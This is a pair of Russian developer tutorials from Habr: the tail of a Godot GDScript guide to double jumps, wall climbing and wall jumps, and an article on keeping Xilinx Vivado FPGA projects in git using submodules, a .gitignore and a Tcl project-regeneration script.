elif (self.current_state == self.States.IN_AIR or self.current_state == self.States.ON_WALL)
and self.second_jump == true:
# Тут проверяем на другие состояния и можем ли мы вообще прыгнуть второй раз
self.velocity.y = -JUMP_POWER
# Сбрасываем накопленное ускорение падения и совершаем прыжок
self.second_jump = false
# Не забудьте добавить var second_jump: bool = true в самый верх. и в update_state()
# Добавьте после if self.is_on_floor(): self.second_jump = true # чтобы сбрасывать состояние прыжка после приземления на пол.
```
В комментариях к коду в принципе сказано, как я переделал программу, надеюсь вы понимаете мои слова там. Но фактически этих исправлений хватит чтобы изменить механику прыжка и улучшить до двойного. На то чтобы изобрести следующие методы мне потребовалась пара месяцев. Я их написал фактически позавчера, 1 октября 2020 года.
Карабканье по стенам
--------------------
К нашему сожалению, Нормаль стены GodotEngine не позволяет узнать, из чего следует, что нам придётся создать небольшой костыль. Для начала я сделаю сноску имеющихся на данный момент переменных, чтобы можно было проще сказать что изменилось.
```
extends KinematicBody2D
# Сигналы
signal timer_ended # нужно чтобы заставить работать yield в wall_jump, что основан на обмане управления.
# Константы
const GRAVITY: int = 40
const MOVE_SPEED: int = 120 # Скорость перемещения персонажа в пикселях
const JUMP_POWER: int = 80 # Скорость прыжка
const WALL_JUMP_POWER: int = 60 # Сила прыжка от стены. Нужно для соответственной функции
const CLIMB_SPEED: int = 30 # Скорость вскарабкивания
# Переменные
var velocity: Vector2 = Vector2.ZERO
var second_jump: bool = true
var climbing: bool = false # Нужно чтобы определять, карабкается ли игрок по стене, или нет.
var timer_working: bool = false
var is_wall_jump: bool = false # Нужно, чтобы определить, а от стены ли мы прыгаем
var left_pressed: bool = false # Для искусственного зажатия кнопки влево
var right_pressed: bool = false # Для искусственного зажатия кнопки вправо
var current_state: int = States.IN_AIR
var timer: float = 0 # счётчик таймера, что будет встроен в _process(delta: float)
var walls = [false, false, false] # определения стен и потолка. Нулевой и второй - стены. Первый - потолок.
# Пока нужны только нулевой и второй
# Перечисления
enum States {
IN_AIR, # В воздухе
ON_FLOOR, # На полу
ON_WALL # На стене
}
# И я сделаю чуть больше чем сказал, добавив метод _process() с самодельным таймером
func _process(delta: float):
if timer_working:
timer -= delta
if timer <= 0:
emit_signal("timer_ended")
timer = 0
```
Теперь нужно определять по какой стене игрок карабкается.
Вот дерево сцены, что вам стоит подготовить для реализации определителя стороны стены
Разместите 2 Area2D по бокам персонажа и CollisionShape2D обоих не должны пересекаться с персонажем. Подпишите соответственно объекты WallLeft/WallRight и присоедините сигналы \_on\_body\_endered и \_on\_body\_exited к единственному скрипту персонажа. Вот код который нужен чтобы определять стены(Добавить в самый конец скрипта):
```
# Надеюсь тут всё интуитивно понятно
# Если нет, то комментарии вам в помощь
func _on_WallRight_body_entered(_body):
if (_body.name != self.name):
self.walls[0] = true # Если засечённый объект не мы, объект слева - стена
func _on_WallRight_body_exited(_body):
self.walls[0] = false # Когда тело вышло из коллизии другого объекта - стены слева нет
func _on_WallLeft_body_entered(_body):
if (_body.name != self.name):
self.walls[2] = true # Если засечённый объект не мы, объект справа - стена
func _on_WallLeft_body_exited(_body):
self.walls[2] = false # Когда тело вышло из коллизии другого объекта - стены справа нет
```
Приступим к методу карабканья. В коде всё будет сказано за меня
```
func climbing() -> void:
if (self.walls[0] or self.walls[2]): # Если стена слева или стена справа есть
# Создайте новый action в настройках и назовите ui_climb. Об этом я уже говорил в первой части.
self.climbing = Input.is_action_pressed("ui_climb")
else:
self.climbing = false
```
И нужно переписать управление move\_character() для того, чтобы можно было не просто держаться, а карабкаться вверх вниз, благо у нас есть direction:
```
func move_character() -> void:
var direction: float = Input.get_action_strength("ui_right") - Input.get_action_strength("ui_left")
if !self.climbing:
self.velocity.x = direction * MOVE_SPEED
else:
self.velocity.y = direction * CLIMB_SPEED
```
И исправляем наш \_physics\_process():
```
func _physics_process(_delta: float) -> void:
# Ниже функции перемещения
match (self.current_state):
States.IN_AIR:
self.move_character()
States.ON_FLOOR:
self.move_character()
self.jump()
States.ON_WALL:
self.move_character()
# Ниже можно ничего не трогать
if !self.climbing:
self.velocity.y += GRAVITY
self.velocity = self.move_and_slide(self.velocity, Vector2(0, -1))
```
Теперь персонаж должен уметь карабкаться по стенам.
Прыжок от стены
---------------
Теперь реализуем прыжок от стены.
```
func wall_jump() -> void:
if Input.is_action_just_pressed("ui_accept") and Input.is_action_pressed("ui_climb"):
# Если нажата 1 раз кнопка прыжка и зажата кнопка карабканья
self.is_wall_jump = true # Мы прыгаем от стены = да
self.velocity.y = -JUMP_POWER # Изменяем ускорение до -JUMP_POWER
if walls[0]: # Если стена слева
self.timer = 0.5 # Установить self.timer на 0.5 секунды
self.timer_enabled = true # Включаем таймер
self.left_pressed = true # ставим переменную left_pressed на да
yield(self, "timer_ended") # Дожидаемся срабатывания сигнала timer_ended
self.left_pressed = false # отпускаем left_pressed
if walls[2]: # Если стена справа
self.timer = 0.5 # Установить self.timer на 0.5 секунды
self.timer_enabled = true # Включаем таймер
self.right_pressed = true # ставим переменную right_pressed на да
yield(self, "timer_ended") # Дожидаемся срабатывания сигнала timer_ended
self.right_pressed = false # отпускаем right_pressed
self.is_wall_jump = false # Прыгнули. Больше не на стене
```
Добавляем вызов этого метода в наш match -> States.ON\_WALL и мы присоединили наш метод к остальной части \_physics\_process().
### Заключение
В данной статье я показал реализацию относительно сложных механик(для начинающих) в GodotEngine. Но это ещё не последняя часть серии статей, поэтому попрошу тех, кто знает как реализовать мною показанные методы в этой статье лучше, писать о них в комментарии. Я, да и многие читающие, будем благодарны за качественные и быстрые решения. | https://habr.com/ru/post/521904/ | null | ru | null |
# Как подружить Vivado и git: с микроблейзом и сабмодулями
Разработка под программируемые логические интегральные схемы (ПЛИС) и систем на кристалле (СНК) отличается монструозностью IDE и их проектов. В одном котле замешаны исходные коды логических модулей, специфические файлы для привязки к контретной модели ПЛИС, файлы ресурсов, тесты, скрипты сборки, IP-ядра, программы для процессорной системы и т.д. Всё это помножается на проприетарность инструментов, жесткие правила лицензирования и широкое использование бинарных форматов файлов.
Например, проект навигационного приемника под Xilinx Spartan 6, собираемый в уже устаревшей IDE Xilinx ISE, на диске занимает около 5 Гб. При этом б**о**льшая часть файлов обновляется при любой манипуляции в IDE, часть из файлов - бинарные. Одним словом - ад для систем контроля версий. Заставить разработчика хранить файлы в репозитории было очень тяжело. А "чего нет в гите, того не существует". Без систем контроля версий ломаются все процессы разработки: от работы командой до тестирования.
К счастью, в современной среде Vivado разработчики сделали работу над ошибками. Отделить в проекте разрабатываемое человеком от генерируемого стало проще, появились механизмы сборки скриптами. Наши проекты окончательно перешли в git, а процессы разработки под ПЛИС перестали отличаться от процессов разработки программного обеспечения.
Эта статья написана в продолжение рассказа про [организацию автотестирования радиоаппаратуры](https://habr.com/en/post/673254/) и отвечает на вопрос "как вы подготовили проект FPGA для хранения в репозитории и автоматической сборки в контейнере?". Она составлена по материалам пятилетней давности, а сам подход выдержал проверку временем.
Требования и пожелания
----------------------
Чего хотим мы?
* Иметь возможность откатиться к старой версии проекта.
* Разворачивать и собирать проект на любой машине на основе одного-двух-N репозиториев.
* Делать частые коммиты без страха за разрастающийся размер репозитория, т.е. коммититься должны файлы малого размера, рукописные, а не сгенерированные программой.
* Легко переключаться между ветками.
* Иметь возможность собирать прошивку без использования графического интерфейса для последующей автоматизации.
Особенности наших проектов:
* Используется Xilinx Zynq, т.е. помимо части с программируемой логикой нужна и прошивка процессорной системы.
* В разных дизайнах используются одни и те же модули (оформленные в виде HDL, а не IP блоков).
* Используются родные Xilinx'овские IP модули (сериалайзеры, буферы, шины, сбросы и т.п.).
Project и non-Project workflow
------------------------------
Создатели Vivado выделяют два подхода к ведению проекта: project и non-project.
В первом случае мы активно пользуемся GUI, имеем файл проекта .xpr. Во втором - делаем упор на сборку на основе tcl-скриптов, т.е. реализуем unix-way.
Казалось бы вот оно решение - использовать non-project подход, отличный задел для автоматизации. Но на практике разработчики его отторгают. Людям привычнее и быстрее работать в GUI.
По этой причине мы остановились на смешанном подходе, когда непосредственно написание и отладка кода происходит в GUI, а разворачивание проекта при выгрузке из репозитория и автоматическая сборка - с помощью tcl-скриптов.
Содержимое проекта
------------------
Типы файлов, которые Vivado относит к исходным:
* HDL and netlist files: Verilog (.v), SystemVerilog (.sv), VHDL (.vhd), and EDIF (.edf)
* C based source files (.c)
* Tcl files, run scripts, and init.tcl (.tcl)
* Logical and Physical Constraints (.xdc)
* IP core files (.xci)
* IP core container (.xcix)
* IP integrator block design files (.bd)
* Design Checkpoint files (.dcp)
* System Generator subsystems (.sgp)
* Side files for use by related tools (например, “do”-файлы для симулятора)
* Block Memory Map files (.bmm, .mmi)
* Executable and Linkable Format files (.elf)
* Coefficient files (.coe)
Что из этого списка хранить в репозитории? Что "рукописного" мы вносим в проект?
* Модули на языке Verilog (.v) и SystemVerilog (.sv, .shv)
* Testbench'и (\_tb.v, \_tb.sv)
* Входные тестовые выборки для тестов
* Настройки Xilinx'овских модулей в Block Diagram (.bd)
* Описание ограничений (.xdc)
* Описание портов и их соединение с сигналами модулей (.xdc)
* Коэффициенты фильтров (.coe)
* Настройки экранов в симуляторах (.wcfg)
### Разделение песочницы и исходных файлов
Когда мы создаем новый дизайн в Vivado, то получаем по-умолчанию структуру каталогов, в которой перемешаны генерируемые и исходные файлы. Есть директории .srcs, .cache, .runs, .data, .hw, .ip\_users\_files, .sim и т.д. Идея заключается в том, чтобы выкинуть вовне исходные файлы и держать их в системе контроля версий, а в каталоге проекта оставить только генерируемые:
При выделении исходных файлов в отдельные каталоги конечная структура определяется разработчиком исходя из собственных предпочтений. В репозиторий кладутся только исходные файлы и tcl-скрипт, который позволяет воссоздать каталоги песочницы с генерируемыми файлами. Например:
Те логические модули, что используются в разных проектах (прошивках разных устройств), вынесены в отдельные сабмодули и подключаются наподобии библиотек. Они при этом являются самостоятельными Vivado-проектами и могут разрабатываться (в том числе тестироваться) независимо.
Блок-дизайны для различных плат вынесены в отдельную директорию bd. Там хранятся непосредственно .bd-файлы, которые являются текстовыми xml-файлами. Вспомогательные бинарные файлы генерируются из них уже вивадой.
К сожалению, вспомогательные файлы блок-дизайна генерируются в каталоге с bd-файлом, поэтому их приходится добавлять в игнор:
~/Oryx/src/fpga/.gitignore
```
# Always ignore journal and log files
*.log
*.jou
*.str
# Ignore trash in bd directory except .BD files
/bd/**/*
!/bd/**/*.bd
# Ignore editor's temporary files
*~
*#
# Ignore sendboxes
/prj*/
# Ignore Vivado temporary files
.Xil/
```
### Шаг 1. Получаем исходные файлы
Рассмотрим процесс работы с таким проектом на примере типичной задачи: получение исходных кодов, внесение изменений, сборка bitstream-файла, прошивка устройства.
Первым шагом получим исходные коды из репозитория. Заводим каталог:
```
korogodin@Diod:~/$ mkdir Oryx
korogodin@Diod:~/$ cd Oryx
```
Мы готовы клонировать git-репозиторий. Для этого потребуется аккаунт и права доступа к проекту:
```
korogodin@Diod:~/Oryx$ git clone ssh://git@krgd.ru:123/git/src
Cloning into 'src'...
remote: Counting objects: 20490, done.
remote: Compressing objects: 100% (8449/8449), done.
remote: Total 20490 (delta 13181), reused 18342 (delta 11414)
Receiving objects: 100% (20490/20490), 787.09 MiB | 143.00 KiB/s, done.
Resolving deltas: 100% (13181/13181), done.
Checking connectivity... готово.
```
Среди прочего, мы получили желанные исходные файлы прошивки PL-части нашего СНК. Они расположены в каталоге fpga:
```
korogodin@Diod:~/$ cd src/fpga
korogodin@Diod:~/Oryx/src/fpga$ ls
bd constr prj_somz.tcl sub verilog
```
Но если присмотреться, то можно заметить, что каталоги подмодулей всё ещё пусты. Получаем их ревизии, соответствующие выбранной ветке в склонированном репозитории:
```
korogodin@Diod:~/Oryx/src/fpga$ git submodule update --init
korogodin@Diod:~/Oryx/src/fpga$ tree -L 2 sub
.
├── acquisition
│ ├── bin
│ ├── doc
│ ├── IPgen
│ ├── matlab
│ ├── sdk
│ ├── tb
│ └── verilog
├── correlator
│ ├── tb
│ └── verilog
├── dsp
│ ├── tb
│ └── verilog
├── serializer_zynq
│ └── verilog
└── sync
└── verilog
```
В дереве каталогов есть все нужные для сборки прошивки исходные файлы.
Шаг 2. Разворачиваем проект Vivado
----------------------------------
Чтобы запустить графический интерфейс Vivado и работать через него с нашими исходными кодами, мы должны развернуть Vivado-проект, т.е. создать xpr-файл и структуру временных каталогов. Делает это отдельный tcl-скрипт проекта, который можно сгенерировать из GUI (да-да, тут курица и яйцо).
Пример скрипта регенерации проекта
```
#!/usr/bin/tclsh
#
# Vivado (TM) v2015.3 (64-bit)
#
# prj_somz.tcl: Tcl script for re-creating project 'somz'
#
# Generated by Vivado on Tue Mar 22 10:11:05 +0300 2016
# IP Build 1367837 on Mon Sep 28 08:56:14 MDT 2015
#
# This file contains the Vivado Tcl commands for re-creating the project to the state*
# when this script was generated. In order to re-create the project, please source this
# file in the Vivado Tcl Shell.
#
# * Note that the runs in the created project will be configured the same way as the
# original project, however they will not be launched automatically. To regenerate the
# run results please launch the synthesis/implementation runs as needed.
#
# Set the reference directory for source file relative paths (by default the value is script directory path)
set origin_dir "."
set sub_dir "sub"
set prj_name "somz"
set prj_dir_name "prj_somz"
set topmodule_name "mainboard_facq"
# Acquisition Microblaze firmware
set facq_prj_name "mcs_facq"
set facq_bsp_name "mcs_facq_bsp"
set facq_proc_name "microblaze_0"
set hw_platform_name "$topmodule_name\_hw_platform_0"
# Use origin directory path location variable, if specified in the tcl shell
if { [info exists ::origin_dir_loc] } {
set origin_dir $::origin_dir_loc
}
variable script_file
set script_file "prj_$prj_name.tcl"
# Help information for this script
proc help {} {
variable script_file
puts "\nDescription:"
puts "Recreate a Vivado project from this script. The created project will be"
puts "functionally equivalent to the original project for which this script was"
puts "generated. The script contains commands for creating a project, filesets,"
puts "runs, adding/importing sources and setting properties on various objects.\n"
puts "Syntax:"
puts "$script_file"
puts "$script_file -tclargs \[--origin_dir \]"
puts "$script\_file -tclargs \[--help\]\n"
puts "Usage:"
puts "Name Description"
puts "-------------------------------------------------------------------------"
puts "\[--origin\_dir \] Determine source file paths wrt this path. Default"
puts " origin\_dir path value is \".\", otherwise, the value"
puts " that was set with the \"-paths\_relative\_to\" switch"
puts " when this script was generated.\n"
puts "\[--help\] Print help information for this script"
puts "-------------------------------------------------------------------------\n"
exit 0
}
if { $::argc > 0 } {
for {set i 0} {$i < [llength $::argc]} {incr i} {
set option [string trim [lindex $::argv $i]]
switch -regexp -- $option {
"--origin\_dir" { incr i; set origin\_dir [lindex $::argv $i] }
"--help" { help }
default {
if { [regexp {^-} $option] } {
puts "ERROR: Unknown option '$option' specified, please type '$script\_file -tclargs --help' for usage info.\n"
return 1
}
}
}
}
}
# Set the directory path for the original project from where this script was exported
#set orig\_proj\_dir "[file normalize "$origin\_dir/mainboard\_facq\_release"]"
# Create project
create\_project $prj\_name ./$prj\_dir\_name
# Set the directory path for the new project
set proj\_dir [get\_property directory [current\_project]]
# Set project properties
set obj [get\_projects $prj\_name]
set\_property "default\_lib" "xil\_defaultlib" $obj
set\_property "part" "xc7z045fbg676-2" $obj
set\_property "sim.ip.auto\_export\_scripts" "1" $obj
set\_property "simulator\_language" "Mixed" $obj
set\_property "source\_mgmt\_mode" "DisplayOnly" $obj
# Create 'sources\_1' fileset (if not found)
if {[string equal [get\_filesets -quiet sources\_1] ""]} {
create\_fileset -srcset sources\_1
}
# Set 'sources\_1' fileset object
set obj [get\_filesets sources\_1]
set files [list \
"[file normalize "$origin\_dir/verilog/bus\_interface.v"]"\
"[file normalize "$origin\_dir/verilog/$topmodule\_name.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/serializer\_zynq/verilog/zynq\_deser\_main.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/serializer\_zynq/verilog/gearbox\_4\_to\_7.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/serializer\_zynq/verilog/n\_x\_serdes\_1\_to\_7\_mmcm\_idelay\_ddr.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/serializer\_zynq/verilog/serdes\_1\_to\_7\_slave\_idelay\_ddr.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/serializer\_zynq/verilog/serdes\_1\_to\_7\_mmcm\_idelay\_ddr.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/correlator\_common.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/common\_param.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/flag\_sync.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/flag\_sync\_n.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/channel\_adder.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/correlator.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/channel\_sin\_table.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/channel\_synthesizer.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/channel\_param.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/channel\_cos\_table.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/correlator\_channel.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/channel\_delay\_reg.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/signal\_mux\_adc.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/common\_sync.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/common\_timegen.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/channel\_shift\_reg.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/channel\_cmplx\_table.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/time\_generator.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/channel\_regfile.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/correlator/verilog/common\_regfile.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/sync/verilog/ed\_det.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/sync/verilog/conv\_reg.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/sync/verilog/signal\_sync.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/sync/verilog/data\_sync.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/sync/verilog/latency.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/sync/verilog/level\_sync.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/bin/$facq\_prj\_name.elf"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/DDS\_I\_Q.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/quant\_level\_table.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/arg\_max.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/bram\_dat\_out\_mux.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/poisk\_IP.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/dat\_in\_sign\_conv.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/doppler\_dds.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/bram\_addr\_mux.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/pre\_ader\_adaptive.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/multi\_sum.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/abs.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/lim\_qnt.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/CORE.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/dop\_shifter.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/sum\_1\_step.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/bram\_multi\_controller.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/poisk\_time\_sync.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/bram\_block.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/reset\_poisk\_sync.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/accum.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/acq\_regfile.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/psp\_rep\_dds.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/bram\_dat\_mux.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/adaptive\_quantizer.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/multi\_core\_correlator\_conveer.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/acquisition/verilog/main/facq\_ecpu.v"]"\
"[file normalize "$origin\_dir/$sub\_dir/dsp/verilog/hist\_sig\_mag.v"]"\
]
add\_files -norecurse -fileset $obj $files
# Set 'sources\_1' fileset file properties for remote files
# None
# Set 'sources\_1' fileset file properties for local files
set file "$origin\_dir/$sub\_dir/acquisition/bin/$facq\_prj\_name.elf"
set file\_obj [get\_files -of\_objects [get\_filesets sources\_1] [list "$file"]]
set\_property "scoped\_to\_cells" "microblaze\_0" $file\_obj
set\_property "scoped\_to\_ref" "zynq" $file\_obj
set\_property "used\_in" "implementation" $file\_obj
set\_property "used\_in\_simulation" "0" $file\_obj
# Set 'sources\_1' fileset properties
set obj [get\_filesets sources\_1]
set\_property "include\_dirs" "$origin\_dir/$sub\_dir/correlator/verilog $origin\_dir/$sub\_dir/acquisition/verilog/inc $origin\_dir/verilog" $obj
set\_property "top" "$topmodule\_name" $obj
# Create 'zynq' fileset (if not found)
if {[string equal [get\_filesets -quiet zynq] ""]} {
create\_fileset -blockset zynq
}
# Set 'zynq' fileset object
set obj [get\_filesets zynq]
set files [list \
"[file normalize "$origin\_dir/bd/$prj\_name/zynq.bd"]"\
]
add\_files -norecurse -fileset $obj $files
# Set 'zynq' fileset file properties for remote files
set file "$origin\_dir/bd/$prj\_name/zynq.bd"
set file [file normalize $file]
set file\_obj [get\_files -of\_objects [get\_filesets zynq] [list "\*$file"]]
if { ![get\_property "is\_locked" $file\_obj] } {
set\_property "synth\_checkpoint\_mode" "Singular" $file\_obj
}
# Set 'zynq' fileset properties
set obj [get\_filesets zynq]
set\_property "include\_dirs" "$origin\_dir/$sub\_dir/correlator/verilog $origin\_dir/verilog $origin\_dir/$sub\_dir/acquisition/verilog/inc" $obj
set\_property "top" "zynq" $obj
# Create 'constrs\_1' fileset (if not found)
if {[string equal [get\_filesets -quiet constrs\_1] ""]} {
create\_fileset -constrset constrs\_1
}
# Set 'constrs\_1' fileset object
set obj [get\_filesets constrs\_1]
# Add/Import constrs file and set constrs file properties
set file "[file normalize "$origin\_dir/constr/$topmodule\_name.xdc"]"
set file\_added [add\_files -norecurse -fileset $obj $file]
set file "$origin\_dir/constr/$topmodule\_name.xdc"
set file [file normalize $file]
set file\_obj [get\_files -of\_objects [get\_filesets constrs\_1] [list "\*$file"]]
set\_property "file\_type" "XDC" $file\_obj
# Set 'constrs\_1' fileset properties
set obj [get\_filesets constrs\_1]
set\_property "target\_constrs\_file" "[file normalize "$origin\_dir/constr/$topmodule\_name.xdc"]" $obj
# Create 'sim\_1' fileset (if not found)
if {[string equal [get\_filesets -quiet sim\_1] ""]} {
create\_fileset -simset sim\_1
}
# Set 'sim\_1' fileset object
set obj [get\_filesets sim\_1]
# Empty (no sources present)
# Set 'sim\_1' fileset properties
set obj [get\_filesets sim\_1]
set\_property "source\_set" "" $obj
set\_property "top" "$topmodule\_name" $obj
set\_property "xelab.nosort" "1" $obj
set\_property "xelab.unifast" "" $obj
# Create 'synth\_1' run (if not found)
if {[string equal [get\_runs -quiet synth\_1] ""]} {
create\_run -name synth\_1 -part xc7z045fbg676-2 -flow {Vivado Synthesis 2014} -strategy "Vivado Synthesis Defaults" -constrset constrs\_1
} else {
set\_property strategy "Vivado Synthesis Defaults" [get\_runs synth\_1]
set\_property flow "Vivado Synthesis 2014" [get\_runs synth\_1]
}
set obj [get\_runs synth\_1]
set\_property "part" "xc7z045fbg676-2" $obj
# Create 'zynq\_synth\_1' run (if not found)
if {[string equal [get\_runs -quiet zynq\_synth\_1] ""]} {
create\_run -name zynq\_synth\_1 -part xc7z045fbg676-2 -flow {Vivado Synthesis 2014} -strategy "Vivado Synthesis Defaults" -constrset zynq
} else {
set\_property strategy "Vivado Synthesis Defaults" [get\_runs zynq\_synth\_1]
set\_property flow "Vivado Synthesis 2014" [get\_runs zynq\_synth\_1]
}
set obj [get\_runs zynq\_synth\_1]
set\_property "constrset" "zynq" $obj
set\_property "part" "xc7z045fbg676-2" $obj
# set the current synth run
current\_run -synthesis [get\_runs synth\_1]
# Create 'impl\_2' run (if not found)
if {[string equal [get\_runs -quiet impl\_2] ""]} {
create\_run -name impl\_2 -part xc7z045fbg676-2 -flow {Vivado Implementation 2014} -strategy "Performance\_Explore" -constrset constrs\_1 -parent\_run synth\_1
} else {
set\_property strategy "Performance\_Explore" [get\_runs impl\_2]
set\_property flow "Vivado Implementation 2014" [get\_runs impl\_2]
}
set obj [get\_runs impl\_2]
set\_property "part" "xc7z045fbg676-2" $obj
set\_property "steps.opt\_design.args.directive" "Explore" $obj
set\_property "steps.place\_design.args.directive" "Explore" $obj
set\_property "steps.phys\_opt\_design.is\_enabled" "1" $obj
set\_property "steps.phys\_opt\_design.args.directive" "Explore" $obj
set\_property "steps.route\_design.args.directive" "Explore" $obj
set\_property "steps.write\_bitstream.args.readback\_file" "0" $obj
set\_property "steps.write\_bitstream.args.verbose" "0" $obj
# Create 'zynq\_impl\_1' run (if not found)
if {[string equal [get\_runs -quiet zynq\_impl\_1] ""]} {
create\_run -name zynq\_impl\_1 -part xc7z045fbg676-2 -flow {Vivado Implementation 2014} -strategy "Vivado Implementation Defaults" -constrset zynq -parent\_run zynq\_synth\_1
} else {
set\_property strategy "Vivado Implementation Defaults" [get\_runs zynq\_impl\_1]
set\_property flow "Vivado Implementation 2014" [get\_runs zynq\_impl\_1]
}
set obj [get\_runs zynq\_impl\_1]
set\_property "constrset" "zynq" $obj
set\_property "part" "xc7z045fbg676-2" $obj
set\_property "steps.write\_bitstream.args.readback\_file" "0" $obj
set\_property "steps.write\_bitstream.args.verbose" "0" $obj
# set the current impl run
current\_run -implementation [get\_runs impl\_2]
puts "INFO: Project created:somz"
puts "INFO: Generate all targets from BD"
set file "$origin\_dir/bd/$prj\_name/zynq.bd"
set file [file normalize $file]
generate\_target all [get\_files $file]
puts "INFO: Export HW"
file mkdir [file normalize "$proj\_dir/$prj\_name.sdk"]
write\_hwdef -force -file [file normalize "$proj\_dir/$prj\_name.sdk/$topmodule\_name.hdf"]
puts "INFO: Create HW Platform and BSP"
exec xsdk -batch -eval "sdk set\_workspace [file normalize "$proj\_dir/$prj\_name.sdk"]; sdk create\_hw\_project -name $hw\_platform\_name -hwspec [file normalize "$proj\_dir/$prj\_name.sdk/$topmodule\_name.hdf"]; sdk create\_bsp\_project -name $facq\_bsp\_name -hwproject $hw\_platform\_name -proc $facq\_proc\_name -os standalone; exec xsdk -eclipseargs -application org.eclipse.cdt.managedbuilder.core.headlessbuild -import [file normalize "$origin\_dir/sub/acquisition/sdk/$facq\_prj\_name/"] -data [file normalize "$proj\_dir/$prj\_name.sdk"] -vmargs -Dorg.eclipse.cdt.core.console=org.eclipse.cdt.core.systemConsole; exit"
puts "INFO: Project is regenerated"
```
Скрипт регенерации содержит:
* Название проекта и относительное расположение песочницы (временных файлов).
* Указание платформы.
* Указание топового модуля.
* Настройка симулятора.
* Подключение к проекту различных наборов файлов - Verilog, TB, IP, .xdc и т.д.
* Настройки синтеза (с указанием кристалла!).
* Настройки имплементации (с указанием кристалла!).
Кроме того, в конец этого скрипта я внес перекомпиляцию Block Design при первом запуске, создание HW Platform, BSP для SDK и подключение проекта прошивки для Microblaze (используется блоком поиска).
Новый скрипт восстановления из существующего проекта можно получить через GUI Vivado (`File->Write Project Tcl`) или через TCL-консоль командой `write_project_tcl`:
```
pwd
cd [get_property DIRECTORY [current_project]]
pwd
write_project_tcl -force prj_somz.tcl
```
Скрипт регенерации песочницы проще всего запустить непосредственно через Vivado. При этом скрипт (а так же block design, IP-ядра и т.д.) подходит только к определенной версии среды, поэтому первым делом следует узнать требуемую версию в заголовке файла:
```
korogodin@Diod:~/Oryx/src/fpga$ head -n 2 prj_somz.tcl
#
# Vivado (TM) v2015.3 (64-bit)
```
Как следует из заголовка, необходимо использовать версию 2015.3. Для миграции подойдут и более свежие версии, но миграция - это не для рядового разработчика.
Скрипт можно запустить из консоли операционной системы:
```
korogodin@Diod:~/Oryx/src/fpga$ /opt/Xilinx/Vivado/2015.3/bin/vivado -source prj_somz.tcl
```
а можно из консоли Vivado:
```
cd ~/Oryx/src/fpga
source prj_somz.tcl
```
Скрипт создает песочницу и файл проекта. Добавляет к проекту внешние исходные файлы. Настраивает правила синтеза и имплементации. Подключается уже собранный Elf-файл для прошивки MicroBlaze (лежит в репозитории в acquisition/bin, скопированный туда руками ранее).
После этого перекомпилируется Block Design. Для проекта прошивки MicroBlaze в песочнице создается somz.sdk, в него добавляется HW Platform и собирается BSP (microblaze\_0, standalone). К проекту подключаются исходники прошивки MicroBlaze из сабмодуля acquisition.
Шаг 3. Правим исходные файлы и собираем прошивку
------------------------------------------------
По завершению выполнения скрипта регенирации проекта (`prj_somz.tcl` в нашем примере) мы имеем готовую к работе настроенную среду:
